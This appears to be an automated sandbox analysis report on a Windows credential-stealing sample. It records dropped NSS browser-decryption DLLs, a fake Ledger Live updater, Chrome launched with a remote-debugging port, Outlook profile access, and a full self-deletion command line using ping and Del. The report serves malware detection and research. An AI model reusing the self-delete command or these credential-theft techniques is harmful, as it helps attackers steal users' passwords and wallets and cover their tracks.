File created: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\3D003UC5\1XZ21S7Z.htm

Jump to behavior

Source: C:\Users\user\AppData\Roaming\DBFHCGCGDA.exe	Mutant created: NULL
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:8132:120:WilError_03
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:7528:120:WilError_03

Source: qlI3ReINCV.exe

Static PE information: Section: .text IMAGE_SCN_CNT_CODE, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE

Source: C:\Users\user\Desktop\qlI3ReINCV.exe

File read: C:\Program Files (x86)\desktop.ini

Jump to behavior

Source: C:\Users\user\Desktop\qlI3ReINCV.exe

Key opened: HKEY_CURRENT_USER\Software\Policies\Microsoft\Windows\Safer\CodeIdentifiers

Jump to behavior

Source: softokn3[1].dll.0.dr, softokn3.dll.0.dr	Binary or memory string: CREATE TABLE metaData (id PRIMARY KEY UNIQUE ON CONFLICT REPLACE, item1, item2);
Source: qlI3ReINCV.exe, 00000000.00000002.1994784288.000000006C68F000.00000002.00000001.01000000.00000009.sdmp, qlI3ReINCV.exe, 00000000.00000002.1982602230.000000001B6BD000.00000004.00000020.00020000.00000000.sdmp, qlI3ReINCV.exe, 00000000.00000002.1990147437.0000000061EB7000.00000002.00001000.00020000.00000000.sdmp, nss3.dll.0.dr, nss3[1].dll.0.dr	Binary or memory string: UPDATE %Q.sqlite_master SET tbl_name = %Q, name = CASE WHEN type='table' THEN %Q WHEN name LIKE 'sqliteX_autoindex%%' ESCAPE 'X' AND type='index' THEN 'sqlite_autoindex_' \|\| %Q \|\| substr(name,%d+18) ELSE name END WHERE tbl_name=%Q COLLATE nocase AND (type='table' OR type='index' OR type='trigger');
Source: softokn3[1].dll.0.dr, softokn3.dll.0.dr	Binary or memory string: SELECT ALL * FROM %s LIMIT 0;
Source: qlI3ReINCV.exe, 00000000.00000002.1994784288.000000006C68F000.00000002.00000001.01000000.00000009.sdmp, qlI3ReINCV.exe, 00000000.00000002.1982602230.000000001B6BD000.00000004.00000020.00020000.00000000.sdmp, qlI3ReINCV.exe, 00000000.00000002.1990147437.0000000061EB7000.00000002.00001000.00020000.00000000.sdmp, nss3.dll.0.dr, nss3[1].dll.0.dr	Binary or memory string: CREATE TABLE %Q.'%q_docsize'(docid INTEGER PRIMARY KEY, size BLOB);
Source: qlI3ReINCV.exe, 00000000.00000002.1994784288.000000006C68F000.00000002.00000001.01000000.00000009.sdmp, qlI3ReINCV.exe, 00000000.00000002.1982602230.000000001B6BD000.00000004.00000020.00020000.00000000.sdmp, qlI3ReINCV.exe, 00000000.00000002.1990147437.0000000061EB7000.00000002.00001000.00020000.00000000.sdmp, nss3.dll.0.dr, nss3[1].dll.0.dr	Binary or memory string: CREATE TABLE IF NOT EXISTS %Q.'%q_stat'(id INTEGER PRIMARY KEY, value BLOB);
Source: qlI3ReINCV.exe, 00000000.00000002.1994784288.000000006C68F000.00000002.00000001.01000000.00000009.sdmp, qlI3ReINCV.exe, 00000000.00000002.1982602230.000000001B6BD000.00000004.00000020.00020000.00000000.sdmp, qlI3ReINCV.exe, 00000000.00000002.1990147437.0000000061EB7000.00000002.00001000.00020000.00000000.sdmp, nss3.dll.0.dr, nss3[1].dll.0.dr	Binary or memory string: CREATE TABLE %Q.'%q_segdir'(level INTEGER,idx INTEGER,start_block INTEGER,leaves_end_block INTEGER,end_block INTEGER,root BLOB,PRIMARY KEY(level, idx));
Source: softokn3[1].dll.0.dr, softokn3.dll.0.dr	Binary or memory string: UPDATE %s SET %s WHERE id=$ID;
Source: softokn3[1].dll.0.dr, softokn3.dll.0.dr	Binary or memory string: SELECT ALL * FROM metaData WHERE id=$ID;
Source: softokn3[1].dll.0.dr, softokn3.dll.0.dr	Binary or memory string: SELECT ALL id FROM %s WHERE %s;
Source: softokn3[1].dll.0.dr, softokn3.dll.0.dr	Binary or memory string: INSERT INTO metaData (id,item1) VALUES($ID,$ITEM1);
Source: softokn3[1].dll.0.dr, softokn3.dll.0.dr	Binary or memory string: INSERT INTO %s (id%s) VALUES($ID%s);
Source: qlI3ReINCV.exe, qlI3ReINCV.exe, 00000000.00000002.1994784288.000000006C68F000.00000002.00000001.01000000.00000009.sdmp, qlI3ReINCV.exe, 00000000.00000002.1982602230.000000001B6BD000.00000004.00000020.00020000.00000000.sdmp, qlI3ReINCV.exe, 00000000.00000002.1990147437.0000000061EB7000.00000002.00001000.00020000.00000000.sdmp, nss3.dll.0.dr, nss3[1].dll.0.dr	Binary or memory string: INSERT INTO %Q.sqlite_master VALUES('index',%Q,%Q,#%d,%Q);
Source: qlI3ReINCV.exe, 00000000.00000002.1994784288.000000006C68F000.00000002.00000001.01000000.00000009.sdmp, qlI3ReINCV.exe, 00000000.00000002.1982602230.000000001B6BD000.00000004.00000020.00020000.00000000.sdmp, qlI3ReINCV.exe, 00000000.00000002.1990147437.0000000061EB7000.00000002.00001000.00020000.00000000.sdmp, nss3.dll.0.dr, nss3[1].dll.0.dr	Binary or memory string: CREATE TABLE %Q.'%q_segments'(blockid INTEGER PRIMARY KEY, block BLOB);
Source: qlI3ReINCV.exe, 00000000.00000002.1982602230.000000001B6BD000.00000004.00000020.00020000.00000000.sdmp, qlI3ReINCV.exe, 00000000.00000002.1990147437.0000000061EB7000.00000002.00001000.00020000.00000000.sdmp	Binary or memory string: CREATE TABLE x(addr INT,opcode TEXT,p1 INT,p2 INT,p3 INT,p4 TEXT,p5 INT,comment TEXT,subprog TEXT,stmt HIDDEN);
Source: softokn3[1].dll.0.dr, softokn3.dll.0.dr	Binary or memory string: INSERT INTO metaData (id,item1,item2) VALUES($ID,$ITEM1,$ITEM2);
Source: qlI3ReINCV.exe, 00000000.00000003.1866768239.000000002177C000.00000004.00000020.00020000.00000000.sdmp, KKFBAAFCGIEGDHIEBFII.0.dr	Binary or memory string: CREATE TABLE password_notes (id INTEGER PRIMARY KEY AUTOINCREMENT, parent_id INTEGER NOT NULL REFERENCES logins ON UPDATE CASCADE ON DELETE CASCADE DEFERRABLE INITIALLY DEFERRED, key VARCHAR NOT NULL, value BLOB, date_created INTEGER NOT NULL, confidential INTEGER, UNIQUE (parent_id, key));
Source: qlI3ReINCV.exe, 00000000.00000002.1982602230.000000001B6BD000.00000004.00000020.00020000.00000000.sdmp, qlI3ReINCV.exe, 00000000.00000002.1990147437.0000000061EB7000.00000002.00001000.00020000.00000000.sdmp	Binary or memory string: CREATE TABLE "%w"."%w_parent"(nodeno INTEGER PRIMARY KEY,parentnode);
Source: softokn3[1].dll.0.dr, softokn3.dll.0.dr	Binary or memory string: SELECT ALL * FROM %s LIMIT 0;CREATE TEMPORARY TABLE %s AS SELECT * FROM %sD
Source: qlI3ReINCV.exe, 00000000.00000002.1982602230.000000001B6BD000.00000004.00000020.00020000.00000000.sdmp, qlI3ReINCV.exe, 00000000.00000002.1990147437.0000000061EB7000.00000002.00001000.00020000.00000000.sdmp	Binary or memory string: CREATE TABLE x(type TEXT,schema TEXT,name TEXT,wr INT,subprog TEXT,stmt HIDDEN);
Source: softokn3[1].dll.0.dr, softokn3.dll.0.dr	Binary or memory string: SELECT DISTINCT %s FROM %s where id=$ID LIMIT 1;

Source: qlI3ReINCV.exe

ReversingLabs: Detection: 65%

Source: unknown	Process created: C:\Users\user\Desktop\qlI3ReINCV.exe "C:\Users\user\Desktop\qlI3ReINCV.exe"
Source: C:\Users\user\Desktop\qlI3ReINCV.exe	Process created: C:\Program Files\Google\Chrome\Application\chrome.exe "C:\Program Files\Google\Chrome\Application\chrome.exe" --remote-debugging-port=9229 --profile-directory=""
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: C:\Program Files\Google\Chrome\Application\chrome.exe "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=3028 --field-trial-handle=2236,i,11332820353393663667,15480934144007943570,262144 /prefetch:8
Source: C:\Users\user\Desktop\qlI3ReINCV.exe	Process created: C:\Windows\SysWOW64\cmd.exe "C:\Windows\system32\cmd.exe" /c start "" "C:\Users\user\AppData\Roaming\DBFHCGCGDA.exe"
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Users\user\AppData\Roaming\DBFHCGCGDA.exe "C:\Users\user\AppData\Roaming\DBFHCGCGDA.exe"
Source: C:\Users\user\AppData\Roaming\DBFHCGCGDA.exe	Process created: C:\Windows\SysWOW64\cmd.exe "C:\Windows\System32\cmd.exe" /C ping 2.2.2.2 -n 1 -w 3000 > Nul & Del C:\Users\user\AppData\Roaming\DBFHCGCGDA.exe
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\PING.EXE ping 2.2.2.2 -n 1 -w 3000
Source: C:\Users\user\Desktop\qlI3ReINCV.exe	Process created: C:\Program Files\Google\Chrome\Application\chrome.exe "C:\Program Files\Google\Chrome\Application\chrome.exe" --remote-debugging-port=9229 --profile-directory=""	Jump to behavior
Source: C:\Users\user\Desktop\qlI3ReINCV.exe	Process created: C:\Windows\SysWOW64\cmd.exe "C:\Windows\system32\cmd.exe" /c start "" "C:\Users\user\AppData\Roaming\DBFHCGCGDA.exe"	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: C:\Program Files\Google\Chrome\Application\chrome.exe "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=3028 --field-trial-handle=2236,i,11332820353393663667,15480934144007943570,262144 /prefetch:8	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Users\user\AppData\Roaming\DBFHCGCGDA.exe "C:\Users\user\AppData\Roaming\DBFHCGCGDA.exe"	Jump to behavior
Source: C:\Users\user\AppData\Roaming\DBFHCGCGDA.exe	Process created: C:\Windows\SysWOW64\cmd.exe "C:\Windows\System32\cmd.exe" /C ping 2.2.2.2 -n 1 -w 3000 > Nul & Del C:\Users\user\AppData\Roaming\DBFHCGCGDA.exe	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\PING.EXE ping 2.2.2.2 -n 1 -w 3000	Jump to behavior

Source: C:\Users\user\Desktop\qlI3ReINCV.exe	Section loaded: apphelp.dll	Jump to behavior
Source: C:\Users\user\Desktop\qlI3ReINCV.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Users\user\Desktop\qlI3ReINCV.exe	Section loaded: wininet.dll	Jump to behavior
Source: C:\Users\user\Desktop\qlI3ReINCV.exe	Section loaded: rstrtmgr.dll	Jump to behavior
Source: C:\Users\user\Desktop\qlI3ReINCV.exe	Section loaded: ncrypt.dll	Jump to behavior
Source: C:\Users\user\Desktop\qlI3ReINCV.exe	Section loaded: ntasn1.dll	Jump to behavior
Source: C:\Users\user\Desktop\qlI3ReINCV.exe	Section loaded: iertutil.dll	Jump to behavior
Source: C:\Users\user\Desktop\qlI3ReINCV.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Users\user\Desktop\qlI3ReINCV.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Users\user\Desktop\qlI3ReINCV.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Users\user\Desktop\qlI3ReINCV.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Users\user\Desktop\qlI3ReINCV.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Users\user\Desktop\qlI3ReINCV.exe	Section loaded: winhttp.dll	Jump to behavior
Source: C:\Users\user\Desktop\qlI3ReINCV.exe	Section loaded: mswsock.dll	Jump to behavior
Source: C:\Users\user\Desktop\qlI3ReINCV.exe	Section loaded: iphlpapi.dll	Jump to behavior
Source: C:\Users\user\Desktop\qlI3ReINCV.exe	Section loaded: winnsi.dll	Jump to behavior
Source: C:\Users\user\Desktop\qlI3ReINCV.exe	Section loaded: urlmon.dll	Jump to behavior
Source: C:\Users\user\Desktop\qlI3ReINCV.exe	Section loaded: srvcli.dll	Jump to behavior
Source: C:\Users\user\Desktop\qlI3ReINCV.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Users\user\Desktop\qlI3ReINCV.exe	Section loaded: dpapi.dll	Jump to behavior
Source: C:\Users\user\Desktop\qlI3ReINCV.exe	Section loaded: cryptbase.dll	Jump to behavior
Source: C:\Users\user\Desktop\qlI3ReINCV.exe	Section loaded: dnsapi.dll	Jump to behavior
Source: C:\Users\user\Desktop\qlI3ReINCV.exe	Section loaded: rasadhlp.dll	Jump to behavior
Source: C:\Users\user\Desktop\qlI3ReINCV.exe	Section loaded: fwpuclnt.dll	Jump to behavior
Source: C:\Users\user\Desktop\qlI3ReINCV.exe	Section loaded: ntmarta.dll	Jump to behavior
Source: C:\Users\user\Desktop\qlI3ReINCV.exe	Section loaded: mozglue.dll	Jump to behavior
Source: C:\Users\user\Desktop\qlI3ReINCV.exe	Section loaded: wsock32.dll	Jump to behavior
Source: C:\Users\user\Desktop\qlI3ReINCV.exe	Section loaded: vcruntime140.dll	Jump to behavior
Source: C:\Users\user\Desktop\qlI3ReINCV.exe	Section loaded: msvcp140.dll	Jump to behavior
Source: C:\Users\user\Desktop\qlI3ReINCV.exe	Section loaded: vcruntime140.dll	Jump to behavior
Source: C:\Users\user\Desktop\qlI3ReINCV.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Users\user\Desktop\qlI3ReINCV.exe	Section loaded: propsys.dll	Jump to behavior
Source: C:\Users\user\Desktop\qlI3ReINCV.exe	Section loaded: linkinfo.dll	Jump to behavior
Source: C:\Users\user\Desktop\qlI3ReINCV.exe	Section loaded: windowscodecs.dll	Jump to behavior
Source: C:\Users\user\Desktop\qlI3ReINCV.exe	Section loaded: edputil.dll	Jump to behavior
Source: C:\Users\user\Desktop\qlI3ReINCV.exe	Section loaded: windows.staterepositoryps.dll	Jump to behavior
Source: C:\Users\user\Desktop\qlI3ReINCV.exe	Section loaded: wintypes.dll	Jump to behavior
Source: C:\Users\user\Desktop\qlI3ReINCV.exe	Section loaded: appresolver.dll	Jump to behavior
Source: C:\Users\user\Desktop\qlI3ReINCV.exe	Section loaded: bcp47langs.dll	Jump to behavior
Source: C:\Users\user\Desktop\qlI3ReINCV.exe	Section loaded: slc.dll	Jump to behavior
Source: C:\Users\user\Desktop\qlI3ReINCV.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Users\user\Desktop\qlI3ReINCV.exe	Section loaded: sppc.dll	Jump to behavior
Source: C:\Users\user\Desktop\qlI3ReINCV.exe	Section loaded: onecorecommonproxystub.dll	Jump to behavior
Source: C:\Users\user\Desktop\qlI3ReINCV.exe	Section loaded: onecoreuapcommonproxystub.dll	Jump to behavior
Source: C:\Users\user\Desktop\qlI3ReINCV.exe	Section loaded: pcacli.dll	Jump to behavior
Source: C:\Users\user\Desktop\qlI3ReINCV.exe	Section loaded: mpr.dll	Jump to behavior
Source: C:\Users\user\Desktop\qlI3ReINCV.exe	Section loaded: sfc_os.dll	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	Section loaded: apphelp.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\DBFHCGCGDA.exe	Section loaded: mscoree.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\DBFHCGCGDA.exe	Section loaded: apphelp.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\DBFHCGCGDA.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\DBFHCGCGDA.exe	Section loaded: version.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\DBFHCGCGDA.exe	Section loaded: vcruntime140_clr0400.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\DBFHCGCGDA.exe	Section loaded: ucrtbase_clr0400.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\DBFHCGCGDA.exe	Section loaded: ucrtbase_clr0400.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\DBFHCGCGDA.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\DBFHCGCGDA.exe	Section loaded: cryptsp.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\DBFHCGCGDA.exe	Section loaded: rsaenh.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\DBFHCGCGDA.exe	Section loaded: cryptbase.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\DBFHCGCGDA.exe	Section loaded: dwrite.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\DBFHCGCGDA.exe	Section loaded: msvcp140_clr0400.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\DBFHCGCGDA.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\DBFHCGCGDA.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\DBFHCGCGDA.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\DBFHCGCGDA.exe	Section loaded: propsys.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\DBFHCGCGDA.exe	Section loaded: edputil.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\DBFHCGCGDA.exe	Section loaded: urlmon.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\DBFHCGCGDA.exe	Section loaded: iertutil.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\DBFHCGCGDA.exe	Section loaded: srvcli.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\DBFHCGCGDA.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\DBFHCGCGDA.exe	Section loaded: windows.staterepositoryps.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\DBFHCGCGDA.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\DBFHCGCGDA.exe	Section loaded: wintypes.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\DBFHCGCGDA.exe	Section loaded: appresolver.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\DBFHCGCGDA.exe	Section loaded: bcp47langs.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\DBFHCGCGDA.exe	Section loaded: slc.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\DBFHCGCGDA.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\DBFHCGCGDA.exe	Section loaded: sppc.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\DBFHCGCGDA.exe	Section loaded: onecorecommonproxystub.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\DBFHCGCGDA.exe	Section loaded: onecoreuapcommonproxystub.dll	Jump to behavior
Source: C:\Windows\SysWOW64\PING.EXE	Section loaded: iphlpapi.dll	Jump to behavior
Source: C:\Windows\SysWOW64\PING.EXE	Section loaded: winnsi.dll	Jump to behavior
Source: C:\Windows\SysWOW64\PING.EXE	Section loaded: mswsock.dll	Jump to behavior

Source: C:\Users\user\Desktop\qlI3ReINCV.exe

Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Classes\WOW6432Node\CLSID\{057EEE47-2572-4AA1-88D7-60CE2149E33C}\InProcServer32

Jump to behavior

Source: C:\Users\user\AppData\Roaming\DBFHCGCGDA.exe

File opened: C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorrc.dll

Jump to behavior

Source: C:\Users\user\Desktop\qlI3ReINCV.exe

Key opened: HKEY_CURRENT_USER\Software\Microsoft\Office\13.0\Outlook\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676\00000001

Jump to behavior

Source: qlI3ReINCV.exe

Static PE information: DYNAMIC_BASE, NX_COMPAT, TERMINAL_SERVER_AWARE

Source:	Binary string: mozglue.pdbP source: qlI3ReINCV.exe, 00000000.00000002.1991303879.000000006C4CD000.00000002.00000001.01000000.0000000A.sdmp, mozglue[1].dll.0.dr, mozglue.dll.0.dr
Source:	Binary string: freebl3.pdb source: freebl3[1].dll.0.dr, freebl3.dll.0.dr
Source:	Binary string: freebl3.pdbp source: freebl3[1].dll.0.dr, freebl3.dll.0.dr
Source:	Binary string: nss3.pdb@ source: qlI3ReINCV.exe, 00000000.00000002.1994784288.000000006C68F000.00000002.00000001.01000000.00000009.sdmp, nss3.dll.0.dr, nss3[1].dll.0.dr
Source:	Binary string: M:\BACKUP\SOFT\Ledger\LedgerConsole_v1\LedgerLiveClient\Ledger-Live\obj\Release\Ledger-Live.pdbtQ source: DBFHCGCGDA.exe, 00000009.00000000.1963631785.0000000000A32000.00000002.00000001.01000000.0000000B.sdmp, DBFHCGCGDA.exe.0.dr, LedgerUpdater[1].exe.0.dr
Source:	Binary string: softokn3.pdb@ source: softokn3[1].dll.0.dr, softokn3.dll.0.dr
Source:	Binary string: d:\agent\_work\1\s\binaries\x86ret\bin\i386\\vcruntime140.i386.pdb source: vcruntime140.dll.0.dr, vcruntime140[1].dll.0.dr
Source:	Binary string: d:\agent\_work\1\s\binaries\x86ret\bin\i386\\msvcp140.i386.pdb source: msvcp140[1].dll.0.dr, msvcp140.dll.0.dr
Source:	Binary string: nss3.pdb source: qlI3ReINCV.exe, 00000000.00000002.1994784288.000000006C68F000.00000002.00000001.01000000.00000009.sdmp, nss3.dll.0.dr, nss3[1].dll.0.dr
Source:	Binary string: mozglue.pdb source: qlI3ReINCV.exe, 00000000.00000002.1991303879.000000006C4CD000.00000002.00000001.01000000.0000000A.sdmp, mozglue[1].dll.0.dr, mozglue.dll.0.dr
Source:	Binary string: M:\BACKUP\SOFT\Ledger\LedgerConsole_v1\LedgerLiveClient\Ledger-Live\obj\Release\Ledger-Live.pdb source: DBFHCGCGDA.exe, 00000009.00000000.1963631785.0000000000A32000.00000002.00000001.01000000.0000000B.sdmp, DBFHCGCGDA.exe.0.dr, LedgerUpdater[1].exe.0.dr
Source:	Binary string: softokn3.pdb source: softokn3[1].dll.0.dr, softokn3.dll.0.dr

Source: DBFHCGCGDA.exe.0.dr

Static PE information: 0x8826E988 [Wed May 21 02:18:48 2042 UTC]

Source: C:\Users\user\Desktop\qlI3ReINCV.exe

Code function: 0_2_006A68F0 GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,LoadLibraryA,LoadLibraryA,LoadLibraryA,LoadLibraryA,LoadLibraryA,LoadLibraryA,LoadLibraryA,LoadLibraryA,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,

0_2_006A68F0

Source: freebl3.dll.0.dr	Static PE information: section name: .00cfg
Source: freebl3[1].dll.0.dr	Static PE information: section name: .00cfg
Source: mozglue.dll.0.dr	Static PE information: section name: .00cfg
Source: mozglue[1].dll.0.dr	Static PE information: section name: .00cfg
Source: msvcp140.dll.0.dr	Static PE information: section name: .didat
Source: msvcp140[1].dll.0.dr	Static PE information: section name: .didat
Source: nss3.dll.0.dr	Static PE information: section name: .00cfg
Source: nss3[1].dll.0.dr	Static PE information: section name: .00cfg
Source: softokn3.dll.0.dr	Static PE information: section name: .00cfg
Source: softokn3[1].dll.0.dr	Static PE information: section name: .00cfg

Source: C:\Users\user\Desktop\qlI3ReINCV.exe	Code function: 0_2_006A7AA5 push ecx; ret	0_2_006A7AB8
Source: C:\Users\user\Desktop\qlI3ReINCV.exe	Code function: 0_2_6C48B536 push ecx; ret	0_2_6C48B549
Source: C:\Users\user\AppData\Roaming\DBFHCGCGDA.exe	Code function: 9_2_011D0DDB pushfd ; iretd	9_2_011D0DE9

Source: DBFHCGCGDA.exe.0.dr	Static PE information: section name: .text entropy: 7.542721939942927
Source: LedgerUpdater[1].exe.0.dr	Static PE information: section name: .text entropy: 7.542721939942927

Source: C:\Users\user\Desktop\qlI3ReINCV.exe	File created: C:\ProgramData\mozglue.dll	Jump to dropped file
Source: C:\Users\user\Desktop\qlI3ReINCV.exe	File created: C:\ProgramData\nss3.dll	Jump to dropped file
Source: C:\Users\user\Desktop\qlI3ReINCV.exe	File created: C:\ProgramData\msvcp140.dll	Jump to dropped file
Source: C:\Users\user\Desktop\qlI3ReINCV.exe	File created: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\YLNGKWRH\mozglue[1].dll	Jump to dropped file
Source: C:\Users\user\Desktop\qlI3ReINCV.exe	File created: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\YLNGKWRH\msvcp140[1].dll	Jump to dropped file
Source: C:\Users\user\Desktop\qlI3ReINCV.exe	File created: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\YLNGKWRH\vcruntime140[1].dll	Jump to dropped file
Source: C:\Users\user\Desktop\qlI3ReINCV.exe	File created: C:\Users\user\AppData\Roaming\DBFHCGCGDA.exe	Jump to dropped file
Source: C:\Users\user\Desktop\qlI3ReINCV.exe	File created: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\YLNGKWRH\nss3[1].dll	Jump to dropped file
Source: C:\Users\user\Desktop\qlI3ReINCV.exe	File created: C:\ProgramData\freebl3.dll	Jump to dropped file
Source: C:\Users\user\Desktop\qlI3ReINCV.exe	File created: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\YLNGKWRH\LedgerUpdater[1].exe	Jump to dropped file
Source: C:\Users\user\Desktop\qlI3ReINCV.exe	File created: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\YLNGKWRH\freebl3[1].dll	Jump to dropped file
Source: C:\Users\user\Desktop\qlI3ReINCV.exe	File created: C:\ProgramData\vcruntime140.dll	Jump to dropped file
Source: C:\Users\user\Desktop\qlI3ReINCV.exe	File created: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\YLNGKWRH\softokn3[1].dll	Jump to dropped file
Source: C:\Users\user\Desktop\qlI3ReINCV.exe	File created: C:\ProgramData\softokn3.dll	Jump to dropped file

Source: C:\Users\user\Desktop\qlI3ReINCV.exe	File created: C:\ProgramData\mozglue.dll	Jump to dropped file
Source: C:\Users\user\Desktop\qlI3ReINCV.exe	File created: C:\ProgramData\nss3.dll	Jump to dropped file
Source: C:\Users\user\Desktop\qlI3ReINCV.exe	File created: C:\ProgramData\msvcp140.dll	Jump to dropped file
Source: C:\Users\user\Desktop\qlI3ReINCV.exe	File created: C:\ProgramData\freebl3.dll	Jump to dropped file
Source: C:\Users\user\Desktop\qlI3ReINCV.exe	File created: C:\ProgramData\vcruntime140.dll	Jump to dropped file
